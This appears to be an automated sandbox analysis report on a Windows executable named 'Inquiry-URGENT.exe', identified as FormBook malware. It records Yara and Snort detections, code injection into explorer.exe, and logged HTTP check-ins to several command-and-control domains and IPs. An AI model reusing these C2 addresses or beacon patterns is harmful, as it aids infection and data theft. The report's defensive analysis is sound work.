Source: Yara match	File source: 2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Show sources

Source: http://www.trasportesemmanuel.com/b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP+7L8K6Nslrqzy4UJncL0zvFIM5Fri+7k0NXne0nLY&DJE8X=4hlh3	Avira URL Cloud: Label: malware
Source: http://www.trasportesemmanuel.com/b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP	Avira URL Cloud: Label: malware

Source: 3.2.Inquiry-URGENT.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: Inquiry-URGENT.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Inquiry-URGENT.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: Inquiry-URGENT.exe, 00000003.00000002.753164134.000000000117F000.00000040.00000001.sdmp, rundll32.exe, 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp
Source:	Binary string: rundll32.pdb source: Inquiry-URGENT.exe, 00000003.00000002.754416564.0000000003070000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: Inquiry-URGENT.exe, 00000003.00000002.753164134.000000000117F000.00000040.00000001.sdmp, rundll32.exe
Source:	Binary string: rundll32.pdbGCTL source: Inquiry-URGENT.exe, 00000003.00000002.754416564.0000000003070000.00000040.00020000.sdmp

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 4x nop then pop esi		3_2_0041582A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4x nop then pop esi		8_2_009B582A

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49802 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49802 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49802 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49820 -> 34.252.217.69:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49820 -> 34.252.217.69:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49820 -> 34.252.217.69:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49843 -> 103.100.209.77:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49843 -> 103.100.209.77:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49843 -> 103.100.209.77:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49871 -> 209.99.64.43:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49871 -> 209.99.64.43:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49871 -> 209.99.64.43:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 74.208.236.139 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 213.5.70.60 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.252.217.69 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.100.209.77 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.tameka-stewart.com
Source: C:\Windows\explorer.exe	Domain query: www.khlopok.club
Source: C:\Windows\explorer.exe	Domain query: www.tovardarom.xyz
Source: C:\Windows\explorer.exe	Network Connect: 184.168.131.241 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.lakeefctmich.com
Source: C:\Windows\explorer.exe	Domain query: www.apexpropertiesltd.com
Source: C:\Windows\explorer.exe	Domain query: www.bajajfinservmutualfund.com
Source: C:\Windows\explorer.exe	Domain query: www.nutritionhawks.com
Source: C:\Windows\explorer.exe	Domain query: www.zambiaedu.xyz
Source: C:\Windows\explorer.exe	Network Connect: 162.241.61.210 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.trasportesemmanuel.com
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.josiemaran-supernatural.com
Source: C:\Windows\explorer.exe	Domain query: www.lianshangtron.com

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\explorer.exe	DNS query: www.tovardarom.xyz
Source: C:\Windows\explorer.exe	DNS query: www.zambiaedu.xyz

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.rheilea.com/b5ce/

Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
Source: Joe Sandbox View	ASN Name: ALTUSNL ALTUSNL

Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=/AI3JQDCZyk/6ubsQmnvJO3EeIaIHb6AvonvM2F4xgXAwnTSleK6/XaIEVHpjjtFOEyF&DJE8X=4hlh3 HTTP/1.1Host: www.josiemaran-supernatural.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=wzjkW/L/N1XOH+XSD0678S8O9bVA9y0oVtkfQbp3MHT7u8jt+16wQlgR8fjrLlP4MYPZ&DJE8X=4hlh3 HTTP/1.1Host: www.apexpropertiesltd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=4jQHwSxHHIZwFcDn9YyiwFwOuX4cum7XsZ3DkRiOKi2AyYToUWCX9nZ4+Axc57SiIQXe&DJE8X=4hlh3 HTTP/1.1Host: www.tameka-stewart.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=kNxZIWTQx5nCNlvJonIYbJCBQmvVcT2X1CiQyYZ2pQhuEOz9vrAvmQg2dhGIWbuOnxMp&DJE8X=4hlh3 HTTP/1.1Host: www.khlopok.clubConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=DJnvNV/6mp+JehKrIaw09sUOMJEcD/JystEz9B9fnmezvaywTqAFSPdXHnxiLUzhPCdJ&DJE8X=4hlh3 HTTP/1.1Host: www.tovardarom.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=WdCn/kPOsGECQ6X5wfp65poK7SwinBwjgfqA8CanQGxQHv6Okf04s3qFBz0DbwV5uzgy&DJE8X=4hlh3 HTTP/1.1Host: www.lianshangtron.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=iJSCg4qWtYnzw4GHWivdfaPpYoJ+2S3Wh/71x72UXIcZgXPac3WPQ9rqQY8gaQxsRQ0f&DJE8X=4hlh3 HTTP/1.1Host: www.nutritionhawks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP+7L8K6Nslrqzy4UJncL0zvFIM5Fri+7k0NXne0nLY&DJE8X=4hlh3 HTTP/1.1Host: www.trasportesemmanuel.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 184.168.131.241 184.168.131.241

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Mon, 27 Sep 2021 15:55:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 488Connection: closeVary: Accept-EncodingETag: "5f6c8b3c-1e8"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 d0 97 d0 b0 d0 bf d1 80 d0 be d1 81 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 20 d0 b8 d0 bb d0 b8 20 d1 83 d0 b4 d0 b0 d0 bb d0 b5 d0 bd 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 62 72 2f 3e 3c 62 72 2f 3e 3c 62 72 2f 3e 0a 20 20 20 20 20 20 20 20 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d0 b0 d1 8f 20 d1 81 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 d0 b8 d0 bb d0 b8 20 d1 83 d0 b4 d0 b0 d0 bb d0 b5 d0 bd d0 b0 2e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 3c 2f 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="ru"> <head> <title>404</title> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta content=" " name="description" /> </head> <body> <br/><br/><br/> <center> <h1> .</h1> </center> </body></html>

Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://findquickresultsnow.com/Best_Mortgage_Rates.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://findquickresultsnow.com/Free_Credit_Report.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1N
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://findquickresultsnow.com/Migraine_Pain_Relief.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://findquickresultsnow.com/Top_10_Luxury_Cars.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1N
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://findquickresultsnow.com/Top_Smart_Phones.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://findquickresultsnow.com/display.cfm
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://findquickresultsnow.com/fashion_trends.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ4p
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://findquickresultsnow.com/song_lyrics.cfm?domain=trasportesemmanuel.com&fp=LbwnrhNVmFO1NqQ4pPrs
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.eot
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.eot?#iefix
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.otf
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.svg#ubuntu-b
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.ttf
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.woff
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.woff2
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.eot
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.eot?#iefix
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.otf
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.svg#ubuntu-r
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.ttf
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.woff
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.woff2
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/js/min.js?v2.3
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/12471/arrow.png)
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/12471/bodybg.png)
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/12471/kwbg.jpg)
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/12471/libg.png)
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/12471/libgh.png)
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/12471/logo.png)
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://i1.cdn-image.com/__media__/pics/12471/search-icon.png)
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: http://www.trasportesemmanuel.com/b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP
Source: rundll32.exe, 00000008.00000002.942415276.00000000051A2000.00000004.00020000.sdmp	String found in binary or memory: https://www.novasaude-g1.online/b5ce/?7nqLWRV0=SAwBm0

Source: unknown

DNS traffic detected: queries for: www.lakeefctmich.com

Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=/AI3JQDCZyk/6ubsQmnvJO3EeIaIHb6AvonvM2F4xgXAwnTSleK6/XaIEVHpjjtFOEyF&DJE8X=4hlh3 HTTP/1.1Host: www.josiemaran-supernatural.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=wzjkW/L/N1XOH+XSD0678S8O9bVA9y0oVtkfQbp3MHT7u8jt+16wQlgR8fjrLlP4MYPZ&DJE8X=4hlh3 HTTP/1.1Host: www.apexpropertiesltd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=4jQHwSxHHIZwFcDn9YyiwFwOuX4cum7XsZ3DkRiOKi2AyYToUWCX9nZ4+Axc57SiIQXe&DJE8X=4hlh3 HTTP/1.1Host: www.tameka-stewart.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=kNxZIWTQx5nCNlvJonIYbJCBQmvVcT2X1CiQyYZ2pQhuEOz9vrAvmQg2dhGIWbuOnxMp&DJE8X=4hlh3 HTTP/1.1Host: www.khlopok.clubConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=DJnvNV/6mp+JehKrIaw09sUOMJEcD/JystEz9B9fnmezvaywTqAFSPdXHnxiLUzhPCdJ&DJE8X=4hlh3 HTTP/1.1Host: www.tovardarom.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=WdCn/kPOsGECQ6X5wfp65poK7SwinBwjgfqA8CanQGxQHv6Okf04s3qFBz0DbwV5uzgy&DJE8X=4hlh3 HTTP/1.1Host: www.lianshangtron.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=iJSCg4qWtYnzw4GHWivdfaPpYoJ+2S3Wh/71x72UXIcZgXPac3WPQ9rqQY8gaQxsRQ0f&DJE8X=4hlh3 HTTP/1.1Host: www.nutritionhawks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP+7L8K6Nslrqzy4UJncL0zvFIM5Fri+7k0NXne0nLY&DJE8X=4hlh3 HTTP/1.1Host: www.trasportesemmanuel.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 3.2.Inquiry-URGENT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Inquiry-URGENT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 3.2.Inquiry-URGENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.Inquiry-URGENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.Inquiry-URGENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.Inquiry-URGENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

.NET source code contains very large strings

Show sources

Source: Inquiry-URGENT.exe, Utility.cs	Long String: Length: 34816
Source: 2.2.Inquiry-URGENT.exe.710000.0.unpack, Utility.cs	Long String: Length: 34816
Source: 2.0.Inquiry-URGENT.exe.710000.0.unpack, Utility.cs	Long String: Length: 34816
Source: 3.0.Inquiry-URGENT.exe.5d0000.0.unpack, Utility.cs	Long String: Length: 34816
Source: 3.2.Inquiry-URGENT.exe.5d0000.1.unpack, Utility.cs	Long String: Length: 34816

Source: Inquiry-URGENT.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 3.2.Inquiry-URGENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.Inquiry-URGENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.Inquiry-URGENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.Inquiry-URGENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
